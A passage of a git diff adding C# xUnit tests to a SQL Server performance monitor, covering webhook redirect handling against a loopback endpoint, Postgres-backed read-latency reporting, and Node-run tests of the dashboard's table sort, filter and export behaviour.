+        Assert.Contains("X-Fake-Key: not-real-value", endpoint.LastRequestHead, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public async Task ARedirectAnswerToASendWithHeaders_IsAFailedSend_AndTheTargetIsNotCalled()
+    {
+        using var target = new LoopbackEndpoint(redirectTo: null);
+        using var endpoint = new LoopbackEndpoint(redirectTo: target.Url + "/final");
+
+        var error = await Post(endpoint.Url, Headers);
+
+        Assert.Equal(1, endpoint.Requests);
+        Assert.Equal(0, target.Requests);
+        Assert.NotNull(error);
+        Assert.Contains("redirect", error, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain(target.Url, error, StringComparison.Ordinal);
+        Assert.DoesNotContain("not-real-value", error, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ARedirectAnswerToASendWithoutHeaders_IsStillFollowed()
+    {
+        using var target = new LoopbackEndpoint(redirectTo: null);
+        using var endpoint = new LoopbackEndpoint(redirectTo: target.Url + "/final");
+
+        var error = await Post(endpoint.Url, new Dictionary<string, string>());
+
+        Assert.Null(error);
+        Assert.Equal(1, target.Requests);
+    }
+
+    private static Task<string?> Post(string url, IReadOnlyDictionary<string, string> headers) =>
+        WebhookAlertService.PostWebhookAsync(
+            url, "{}", proxyAddress: null, headers, TimeSpan.FromSeconds(5), CancellationToken.None);
+
+    /// <summary>A loopback endpoint that answers every POST 200 (or a 302 to a target) and keeps the last head.</summary>
+    private sealed class LoopbackEndpoint : IDisposable
+    {
+        private readonly TcpListener _listener = new(IPAddress.Loopback, 0);
+        private readonly CancellationTokenSource _stop = new();
+        private readonly Task _accepting;
+        private readonly string? _redirectTo;
+        private int _requests;
+        private volatile string _lastHead = "";
+
+        public LoopbackEndpoint(string? redirectTo)
+        {
+            _redirectTo = redirectTo;
+            _listener.Start();
+            Url = $"http://127.0.0.1:{((IPEndPoint)_listener.LocalEndpoint).Port}";
+            _accepting = Task.Run(AcceptLoopAsync);
+        }
+
+        public string Url { get; }
+
+        public int Requests => Volatile.Read(ref _requests);
+
+        public string LastRequestHead => _lastHead;
+
+        private async Task AcceptLoopAsync()
+        {
+            try
+            {
+                while (!_stop.IsCancellationRequested)
+                {
+                    using var client = await _listener.AcceptTcpClientAsync(_stop.Token);
+                    using var stream = client.GetStream();
+                    var received = new List<byte>();
+                    var buffer = new byte[16 * 1024];
+                    var head = "";
+
+                    while (true)
+                    {
+                        var read = await stream.ReadAsync(buffer, _stop.Token);
+                        if (read == 0)
+                        {
+                            break;
+                        }
+
+                        received.AddRange(new ArraySegment<byte>(buffer, 0, read));
+                        head = Encoding.ASCII.GetString(received.ToArray());
+                        if (head.Contains("\r\n\r\n", StringComparison.Ordinal))
+                        {
+                            break;
+                        }
+                    }
+
+                    _lastHead = head;
+                    Interlocked.Increment(ref _requests);
+
+                    var response = Encoding.ASCII.GetBytes(_redirectTo is null
+                        ? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
+                        : $"HTTP/1.1 302 Found\r\nLocation: {_redirectTo}\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
+                    await stream.WriteAsync(response, _stop.Token);
+                    await stream.FlushAsync(_stop.Token);
+                }
+            }
+            catch (OperationCanceledException) { /* Dispose */ }
+            catch (SocketException) { /* listener stopped */ }
+            catch (ObjectDisposedException) { /* listener stopped */ }
+            catch (System.IO.IOException) { /* client went away */ }
+        }
+
+        public void Dispose()
+        {
+            _stop.Cancel();
+            _listener.Stop();
+            try
+            {
+                _accepting.Wait(TimeSpan.FromSeconds(5));
+            }
+            catch (AggregateException) { /* the cancellation above */ }
+
+            _stop.Dispose();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/GetReadLatencyLiveTests.cs b/Darling/Darling.Tests/GetReadLatencyLiveTests.cs
index f2544788fe..ef5aaa5d7d 100644
--- a/Darling/Darling.Tests/GetReadLatencyLiveTests.cs
+++ b/Darling/Darling.Tests/GetReadLatencyLiveTests.cs
@@ -13,6 +13,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
@@ -31,7 +32,10 @@ namespace Darling.Tests;
 /// pinned too, not just the reader.
 /// </summary>
 /* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches the
-   shared store's tables, so it cannot race the live collection. */
+   shared store's tables, so it cannot race the live collection.
+   #5602: the facts that connect as viewer and mcp create and drop those FIXED cluster-wide roles, so the class runs
+   in the collection that runs alone. */
+[Collection("pg-cluster-roles")]
 public sealed class GetReadLatencyLiveTests
 {
     private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
@@ -155,6 +159,122 @@ public async Task TwoRoutesAcrossTwoHours_MatchHandComputedPercentilesCountsAndS
         }
     }
 
+    [Fact]
+    public async Task FallbackAndGateFailedSamples_AreCountedSeparately_InsideCount_AndTiesOrderBySurfaceThenRoute()
+    {
+        var baseConnectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the get_read_latency fallback pin.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var bodySucceeded = false;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        try
+        {
+            var accumulator = new ReadLatencyAccumulator();
+            foreach (var route in new[] { "route_b", "route_a" })
+            {
+                accumulator.Record(ReadSurface.Mcp, route, ReadOutcome.Ok, 50);
+                accumulator.Record(ReadSurface.Mcp, route, ReadOutcome.FallbackRaw, 50);
+                accumulator.Record(ReadSurface.Mcp, route, ReadOutcome.FallbackRaw, 50);
+                accumulator.Record(ReadSurface.Mcp, route, ReadOutcome.GateFailed, 50);
+            }
+
+            await accumulator.FlushAsync(connection, DateTime.UtcNow.AddHours(-1), logger: null, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var json = await DarlingMcpReadLatencyTools.GetReadLatency(postgres, hours: 48, cancellationToken: ct);
+            using var document = JsonDocument.Parse(json);
+            var reads = document.RootElement.GetProperty("reads").EnumerateArray().ToArray();
+
+            Assert.Equal(new[] { "route_a", "route_b" }, reads.Select(r => r.GetProperty("route").GetString()).ToArray());
+            foreach (var read in reads)
+            {
+                Assert.Equal(4, read.GetProperty("count").GetInt64());
+                Assert.Equal(2, read.GetProperty("fallbacks").GetInt64());
+                Assert.Equal(1, read.GetProperty("gate_failures").GetInt64());
+                Assert.Equal(0, read.GetProperty("timeouts").GetInt64());
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task ThousandRoutesAtLimit1000_FitTheResponseBudget_InTheTotalOrder_AndSayHowManyWereLeftOut()
+    {
+        var baseConnectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the get_read_latency budget pin.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var bodySucceeded = false;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        try
+        {
+            /* 1,000 distinct routes, all with the same 50 ms p95. The first 100 carry two samples and the rest
+               one, so the total order is: count desc (the first 100), then route ordinal within each group. */
+            var accumulator = new ReadLatencyAccumulator();
+            for (var i = 0; i < 1000; i++)
+            {
+                var route = $"route_{i:D4}";
+                accumulator.Record(ReadSurface.Mcp, route, ReadOutcome.Ok, 50);
+                if (i < 100)
+                {
+                    accumulator.Record(ReadSurface.Mcp, route, ReadOutcome.Ok, 50);
+                }
+            }
+
+            await accumulator.FlushAsync(connection, DateTime.UtcNow.AddHours(-1), logger: null, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var json = await DarlingMcpReadLatencyTools.GetReadLatency(postgres, hours: 48, limit: 1000, cancellationToken: ct);
+
+            var bytes = System.Text.Encoding.UTF8.GetByteCount(json);
+            Assert.True(bytes <= McpResponseBudget.DefaultBytes, $"response was {bytes} bytes, over the {McpResponseBudget.DefaultBytes}-byte budget");
+
+            using var document = JsonDocument.Parse(json);
+            var root = document.RootElement;
+            var reads = root.GetProperty("reads").EnumerateArray().ToArray();
+
+            Assert.True(root.GetProperty("truncated").GetBoolean());
+            Assert.Equal(1000, root.GetProperty("reads_total").GetInt32());
+            Assert.Equal(reads.Length, root.GetProperty("reads_returned").GetInt32());
+            Assert.InRange(reads.Length, 100, 999);
+
+            /* Greedy fill: the budget is nearly used (one more ~230-byte row would not have fit). */
+            Assert.True(bytes > McpResponseBudget.DefaultBytes - 400, $"only {bytes} bytes used; the page stopped early");
+
+            var expected = Enumerable.Range(0, 1000)
+                .OrderBy(i => i < 100 ? 0 : 1)
+                .ThenBy(i => $"route_{i:D4}", StringComparer.Ordinal)
+                .Take(reads.Length)
+                .Select(i => $"route_{i:D4}")
+                .ToArray();
+            Assert.Equal(expected, reads.Select(r => r.GetProperty("route").GetString()).ToArray());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
     [Fact]
     public async Task SurfaceAndRouteFilters_EachScopeToOneRow()
     {
diff --git a/Darling/Darling.Tests/GridAdoptionBehaviourTests.cs b/Darling/Darling.Tests/GridAdoptionBehaviourTests.cs
new file mode 100644
index 0000000000..f08ea0976d
--- /dev/null
+++ b/Darling/Darling.Tests/GridAdoptionBehaviourTests.cs
@@ -0,0 +1,179 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Per-column filters on the web dashboard's shared table renderer (#4843), from the shipped <c>panels.js</c> run under Node (<c>web-grid-adoption-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class GridAdoptionBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-grid-adoption-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the grid adoption harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the grid adoption harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Str(JsonElement r, string name) => r.GetProperty(name).GetString()!;
+
+    private static bool Bool(JsonElement r, string name) => r.GetProperty(name).GetBoolean();
+
+    private static string[] Arr(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void ComposedTable_Sorts_Filters_CopiesAndExports_RawValues_AndKeepsStateAcrossARebuild()
+    {
+        var r = Run("composed");
+        Assert.Equal(new[] { "Time", "Db", "Value" }, Arr(r, "heads"));
+        Assert.Equal(new[] { "20", "300", "1,500" }, Arr(r, "sortedAsc"));
+        Assert.Equal(new[] { "1,500", "300", "20" }, Arr(r, "sortedDesc"));
+        Assert.Equal(new[] { "alpha", "Alpha two" }, Arr(r, "filtered"));
+        var copy = Str(r, "copy").Split('\n');
+        Assert.Equal(3, copy.Length);
+        Assert.Equal("Time\tDb\tValue", copy[0]);
+        Assert.EndsWith("\talpha\t1,500", copy[1]);
+        Assert.EndsWith("\tAlpha two\t300", copy[2]);
+        Assert.Equal("Time,Db,Value\r\n2026-01-02T10:00:00,alpha,1500\r\n2026-01-02T12:00:00,Alpha two,300", Str(r, "csv"));
+        Assert.Equal(new[] { "alpha", "Alpha two" }, Arr(r, "rebuilt"));
+        Assert.Equal("descending", Str(r, "rebuiltSortInd"));
+        Assert.True(Bool(r, "rebuiltBox"));
+        Assert.Equal(new[] { "alpha", "beta", "Alpha two" }, Arr(r, "otherServer"));
+        Assert.Equal("none", Str(r, "otherSort"));
+    }
+
+    [Fact]
+    public void AlertRuleTestResult_GetsTheTools_WithVerdictTextAndRawValues_PerRule()
+    {
+        var r = Run("alert");
+        Assert.Equal(new[] { "srv-a", "srv-d", "srv-b", "srv-c" }, Arr(r, "byValueDesc"));
+        Assert.Equal(new[] { "srv-a", "srv-d" }, Arr(r, "fired"));
+        Assert.Equal("Server\tCurrent value\tWould fire now\nsrv-a\t90.0%\tYes — Critical\nsrv-d\t40.0%\tYes — Warning", Str(r, "copy"));
+        Assert.Equal("Server,Current value,Would fire now\r\nsrv-a,90,Yes — Critical\r\nsrv-d,40,Yes — Warning", Str(r, "csv"));
+        Assert.Equal(new[] { "srv-a", "srv-d" }, Arr(r, "rebuilt"));
+        Assert.Equal("descending", Str(r, "rebuiltSort"));
+        Assert.Equal(4, Arr(r, "otherRule").Length);
+        Assert.Equal("none", Str(r, "otherRuleSort"));
+        Assert.Equal("ascending", Str(r, "draftSort"));
+        Assert.Equal("none", Str(r, "nextDraftSort"));
+    }
+
+    [Fact]
+    public void SweepTables_GetTheTools_AndKeepThemAcrossARedraw()
+    {
+        var r = Run("sweeps");
+        Assert.True(Bool(r, "found"));
+        Assert.Equal(new[] { "Server", "From", "To", "Reason" }, Arr(r, "heads"));
+        Assert.Equal(new[] { "api-one", "web-one", "web-two" }, Arr(r, "sorted"));
+        Assert.Equal(new[] { "api-one", "web-two" }, Arr(r, "filtered"));
+        Assert.Equal("Server\tFrom\tTo\tReason\napi-one\tHealthy\tWarning\tcpu\nweb-two\tWarning\tHealthy\trecovered", Str(r, "copy"));
+        Assert.Equal(new[] { "api-one", "web-two" }, Arr(r, "rebuilt"));
+        Assert.Equal("ascending", Str(r, "rebuiltSort"));
+        Assert.Equal(4, Arr(r, "watchRows").Length);
+        // The position column orders by its count, not its sentence ("12 consecutive hits" sorts after "3 ...").
+        Assert.Equal(new[] { "fleet", "disk", "orphan", "cpu" }, Arr(r, "posAsc"));
+        Assert.Equal(new[] { "cpu", "orphan", "disk", "fleet" }, Arr(r, "posDesc"));
+        // The fallback labels the page shows are what the column sorts on and the CSV carries.
+        Assert.Equal(new[] { "api-one", "Fleet", "server 9", "web-one" }, Arr(r, "serverAsc"));
+        Assert.Contains("\r\nFleet,fleet,", Str(r, "serverCsv"));
+        Assert.Contains("\r\nserver 9,orphan,", Str(r, "serverCsv"));
+        Assert.StartsWith("Server,Item,State,Position,First seen,Last seen,Condition / evidence\r\nweb-one,disk,open,3 consecutive hits,2026-01-02T08:00:00", Str(r, "watchCsv"));
+    }
+
+    [Fact]
+    public void VizTable_IsUnchanged_GroupsCopyFalseFiltersCopyAndCsv()
+    {
+        var r = Run("viz");
+        Assert.Equal(new[] { "Name", "A", "B", "" }, Arr(r, "heads"));
+        Assert.False(Bool(r, "controlFilter"));
+        Assert.Equal("none", Str(r, "hiddenB"));
+        Assert.Equal(new[] { "Alpha", "ALPHA two" }, Arr(r, "shown"));
+        Assert.Equal("Name\tA\tB\nAlpha\t3\t30\nALPHA two\t2\t20", Str(r, "copy"));
+        Assert.Equal("Name,A,B,\r\nAlpha,3,30,\r\nALPHA two,2,20,", Str(r, "csv"));
+        Assert.Equal(new[] { "Alpha", "ALPHA two" }, Arr(r, "rebuilt"));
+        Assert.True(Bool(r, "sameHeads"));
+        Assert.True(Bool(r, "sameRows"));
+        Assert.Equal("No rows in this window.", Str(r, "emptyViz"));
+        Assert.StartsWith("No fields configured", Str(r, "noFields"));
+    }
+
+    [Fact]
+    public void TwoUntitledComposedTablePanels_OnOneView_DoNotShareSortOrFilters()
+    {
+        var r = Run("twoPanels");
+        Assert.Equal("descending", Str(r, "aSort"));
+        Assert.Equal(new[] { "alpha", "Alpha two" }, Arr(r, "aRows"));
+        Assert.Equal("none", Str(r, "bSort"));
+        Assert.Equal(3, Arr(r, "bRows").Length);
+        Assert.Equal("descending", Str(r, "a2Sort"));
+        Assert.Equal(2, Arr(r, "a2Rows").Length);
+    }
+
+    [Fact]
+    public void RenderComposedInto_ThreadsThePanelSlotToTheTable_AgainstTheRealGrid()
+    {
+        var r = Run("composedInto");
+        Assert.True(Bool(r, "found"));
+        Assert.Equal(3, Arr(r, "rows").Length);
+        Assert.Equal("ascending", Str(r, "sameSlotSort"));
+        Assert.Equal("none", Str(r, "otherSlotSort"));
+    }
+
+    [Fact]
+    public void VizTable_EdgeShapes_SingleColumn_AllHidden_DotRowsKey_ToolsAndFilterOff_EmptyCellClass()
+    {
+        var r = Run("vizEdges");
+        Assert.Equal(new[] { "Name" }, Arr(r, "oneHeads"));
+        Assert.Equal(new[] { "Alpha", "beta" }, Arr(r, "oneSorted"));
+        Assert.Equal(new[] { "none", "none" }, Arr(r, "hiddenShown"));
+        Assert.Equal("Name\tN\nAlpha\t3\nbeta\t1", Str(r, "hiddenCopy"));
+        Assert.Equal(new[] { "solo" }, Arr(r, "dotRows"));
+        Assert.Equal(new[] { "7" }, Arr(r, "dotN"));
+        Assert.False(Bool(r, "noToolsCopy"));
+        Assert.True(Bool(r, "noToolsFilter"));
+        Assert.True(Bool(r, "noFilterTools"));
+        Assert.False(Bool(r, "noFilterBtn"));
+        Assert.True(Bool(r, "noFilterSort"));
+        Assert.DoesNotContain("undefined", Str(r, "cls"));
+    }
+}
diff --git a/Darling/Darling.Tests/GridFilterBehaviourTests.cs b/Darling/Darling.Tests/GridFilterBehaviourTests.cs
new file mode 100644
index 0000000000..3989da3aab
--- /dev/null
+++ b/Darling/Darling.Tests/GridFilterBehaviourTests.cs
@@ -0,0 +1,238 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Per-column filters on the web dashboard's shared table renderer (#4843), from the shipped <c>panels.js</c> run under Node (<c>web-grid-filter-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+public sealed class GridFilterBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-grid-filter-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the grid filter harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the grid filter harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Str(JsonElement r, string name) => r.GetProperty(name).GetString()!;
+
+    private static bool Bool(JsonElement r, string name) => r.GetProperty(name).GetBoolean();
+
+    private static string[] Arr(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void AFilter_NarrowsTheRows_CaseInsensitively_AndSaysSo()
+    {
+        var r = Run("narrows");
+        Assert.Equal(new[] { "Alpha", "beta", "ALPHA two" }, Arr(r, "before"));
+        Assert.Equal(new[] { true, true, true, true }, r.GetProperty("hasButtons").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        Assert.Equal(new[] { "Alpha", "ALPHA two" }, Arr(r, "after"));
+        Assert.Equal("Showing 2 of 3 rows", Str(r, "count"));
+        Assert.Equal(new[] { "Name: ALPHA×" }, Arr(r, "chips"));
+        Assert.Equal("true", Str(r, "pressed"));
+    }
+
+    [Fact]
+    public void TheMatch_ReadsTheRenderedText_AListCellAndAFormattedNumberIncluded()
+    {
+        var r = Run("listAndFormatted");
+        Assert.Equal(new[] { "Alpha", "ALPHA two" }, Arr(r, "list"));
+        Assert.Equal(new[] { "ALPHA two" }, Arr(r, "listExact"));
+        Assert.Equal(new[] { "n" }, Arr(r, "formatted"));
+    }
+
+    [Fact]
+    public void SeveralFilters_CombineWithAnd()
+    {
+        var r = Run("ands");
+        Assert.Equal(new[] { "Alpha" }, Arr(r, "both"));
+        Assert.Equal(new[] { "Name: alpha×", "Tags: red×" }, Arr(r, "chips"));
+        Assert.Equal("Showing 1 of 3 rows", Str(r, "count"));
+    }
+
+    [Fact]
+    public void TheFilter_AndTheOpenBox_SurviveARebuild_AndAnotherServerIsUnaffected()
+    {
+        var r = Run("repaint");
+        Assert.Equal(new[] { "beta" }, Arr(r, "rebuilt"));
+        Assert.Equal("Showing 1 of 3 rows", Str(r, "count"));
+        Assert.Equal("beta", Str(r, "boxValue"));
+        Assert.Equal("Filter Name", Str(r, "boxLabel"));
+        Assert.Equal(new[] { "Alpha", "beta", "ALPHA two" }, Arr(r, "otherServer"));
+        Assert.False(Bool(r, "otherBox"));
+        Assert.Equal("", Str(r, "otherCount"));
+        Assert.Equal(new[] { "beta" }, Arr(r, "backToA"));
+    }
+
+    [Fact]
+    public void Escape_ClosesTheBox_AndReturnsFocusToTheHeaderButton()
+    {
+        var r = Run("escape");
+        Assert.True(Bool(r, "openFocus"));
+        Assert.True(Bool(r, "closed"));
+        Assert.True(Bool(r, "refocus"));
+        Assert.True(Bool(r, "reopened"));
+        Assert.True(Bool(r, "toggledClosed"));
+        Assert.Equal("none", Str(r, "sortStateUntouched"));
+    }
+
+    [Fact]
+    public void CopyAndCsv_CarryTheFilteredRows_InSortOrder_WithEveryColumn()
+    {
+        var r = Run("exportFiltered");
+        Assert.Equal(new[] { "Alpha", "ALPHA two" }, Arr(r, "shown"));
+        Assert.Equal("Name\tA\tB\tTags\nAlpha\t3\t30\tred; hot\nALPHA two\t2\t20\tblue; hot", Str(r, "copy"));
+        Assert.Equal("Name,A,B,Tags\r\nAlpha,3,30,red; hot\r\nALPHA two,2,20,blue; hot", Str(r, "csv"));
+        Assert.Equal("Exported 2 rows.", Str(r, "status"));
+    }
+
+    [Fact]
+    public void ClearingOneFilter_AndClearingAll_RestoreTheRows()
+    {
+        var r = Run("clearing");
+        Assert.Equal(new[] { "Alpha" }, Arr(r, "afterOne"));
+        Assert.Equal(new[] { "Tags: red×" }, Arr(r, "chipsAfterOne"));
+        Assert.Equal("red", Str(r, "boxAfterOne"));
+        Assert.Equal(3, Arr(r, "afterAll").Length);
+        Assert.Equal("", Str(r, "countAfterAll"));
+        Assert.Empty(Arr(r, "chipsAfterAll"));
+        Assert.Equal(3, Arr(r, "rebuiltAfterAll").Length);
+        Assert.True(Bool(r, "openSurvivedClearAll"));
+        Assert.Equal(new[] { "beta" }, Arr(r, "typedAfterRebuild"));
+        Assert.Equal(3, Arr(r, "afterBoxClear").Length);
+    }
+
+    [Fact]
+    public void FilterFalse_AndControlColumns_DrawNoFilterButton()
+    {
+        var r = Run("plain");
+        Assert.True(Bool(r, "noButtons"));
+        Assert.Equal(new[] { true, false, true, true }, r.GetProperty("perColumn").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        Assert.False(Bool(r, "controlColumn"));
+        Assert.Equal(3, Arr(r, "heads").Length);
+    }
+
+    // The operators scenario: Name (text), CPU (int), Pct (pct), Seen (time) over five rows:
+    //   alpha/1000/12.5/instant, beta/950/0/null, gamma/0/null/instant, ""/null/99/"", "-"/90/100/instant.
+    // A null or "" cell draws the em dash; the literal "-" is a real value.
+    private static readonly string[] Dash = { "\u2014" };
+
+    [Fact]
+    public void Typing_WithoutPickingAnOperator_IsStillTheSubstringMatch_AndTheBoxIsThere()
+    {
+        var r = Run("operators");
+        Assert.True(Bool(r, "noPick"));
+        Assert.Equal(new[] { "alpha" }, Arr(r, "defaultContains"));
+    }
+
+    [Fact]
+    public void TheOperatorList_FollowsTheColumnKind()
+    {
+        var r = Run("operators");
+        Assert.Equal(new[] { "Contains", "Equals", "Not equals", ">", ">=", "<", "<=", "Is empty", "Is not empty" }, Arr(r, "cpuOps"));
+        Assert.Equal(new[] { "Contains", "Equals", "Not equals", "Starts with", "Ends with", "Is empty", "Is not empty" }, Arr(r, "nameOps"));
+        Assert.Equal(new[] { "Contains", "Is empty", "Is not empty" }, Arr(r, "timeOps"));
+    }
+
+    [Fact]
+    public void NumericOperators_CompareTheRawNumber_NotTheText()
+    {
+        var r = Run("operators");
+        // "> 900" matches 1000 (rendered "1,000") and 950; as a string, "1,000" sorts before "900".
+        Assert.Equal(new[] { "alpha", "beta" }, Arr(r, "gt900"));
+        Assert.Empty(Arr(r, "gt1000"));
+        Assert.Equal(new[] { "alpha" }, Arr(r, "gte1000"));
+        Assert.Equal(new[] { "gamma", "-" }, Arr(r, "lt950"));
+        Assert.Equal(new[] { "beta", "gamma", "-" }, Arr(r, "lte950"));
+        // A typed "50%" is the number 50; a cell with no number never satisfies an ordering.
+        Assert.Equal(new[] { "\u2014", "-" }, Arr(r, "pctGt50"));
+        Assert.Empty(Arr(r, "textGtNotNumber"));
+    }
+
+    [Fact]
+    public void EqualsAndNotEquals_OnANumberColumn_CompareNumbers()
+    {
+        var r = Run("operators");
+        Assert.Equal(new[] { "alpha" }, Arr(r, "eq1000"));
+        Assert.Equal(new[] { "beta", "gamma", "\u2014", "-" }, Arr(r, "ne1000"));
+    }
+
+    [Fact]
+    public void TextOperators_EqualsNotEqualsStartsWithEndsWith_IgnoreCase_AndTakeCommaAlternatives()
+    {
+        var r = Run("operators");
+        Assert.Equal(new[] { "alpha" }, Arr(r, "eqAlpha"));
+        Assert.Equal(new[] { "alpha", "beta" }, Arr(r, "eqList"));
+        Assert.Equal(new[] { "gamma", "\u2014", "-" }, Arr(r, "neList"));
+        Assert.Equal(new[] { "alpha" }, Arr(r, "starts"));
+        Assert.Equal(new[] { "beta" }, Arr(r, "ends"));
+    }
+
+    [Fact]
+    public void IsEmpty_IsTheMissingValue_NeverAZero_AndNeverTheLiteralDash()
+    {
+        var r = Run("operators");
+        // Name "" is empty; the literal "-" is a value.
+        Assert.Equal(Dash, Arr(r, "nameEmpty"));
+        Assert.Equal(new[] { "alpha", "beta", "gamma", "-" }, Arr(r, "nameNotEmpty"));
+        // CPU 0 (gamma) is a value; only the null is empty.
+        Assert.Equal(Dash, Arr(r, "cpuEmpty"));
+        Assert.Equal(new[] { "alpha", "beta", "gamma", "-" }, Arr(r, "cpuNotEmpty"));
+        // Pct 0 (beta) is a value; only gamma's null is empty.
+        Assert.Equal(new[] { "gamma" }, Arr(r, "pctEmpty"));
+        // Seen: null and "" are empty on a time column too.
+        Assert.Equal(new[] { "beta", "\u2014" }, Arr(r, "seenEmpty"));
+        Assert.Equal(new[] { "alpha", "gamma", "-" }, Arr(r, "seenNotEmpty"));
+    }
+
+    [Fact]
+    public void AnOperatorFilter_ShowsInTheChip_SurvivesARebuild_AndTheValuelessOnesHideTheTextBox()
+    {
+        var r = Run("operators");
+        Assert.Equal(new[] { "CPU: > 900×" }, Arr(r, "chip"));
+        Assert.Equal(new[] { "alpha", "beta" }, Arr(r, "rebuilt"));
+        Assert.Equal("gt", Str(r, "rebuiltOp"));
+        Assert.Equal(new[] { "CPU: Is empty×" }, Arr(r, "emptyChip"));
+        Assert.Equal("none", Str(r, "emptyBoxHidden"));
+    }
+}
diff --git a/Darling/Darling.Tests/GridSortBehaviourTests.cs b/Darling/Darling.Tests/GridSortBehaviourTests.cs
new file mode 100644
index 0000000000..ef7f7684e2
--- /dev/null
+++ b/Darling/Darling.Tests/GridSortBehaviourTests.cs
@@ -0,0 +1,184 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
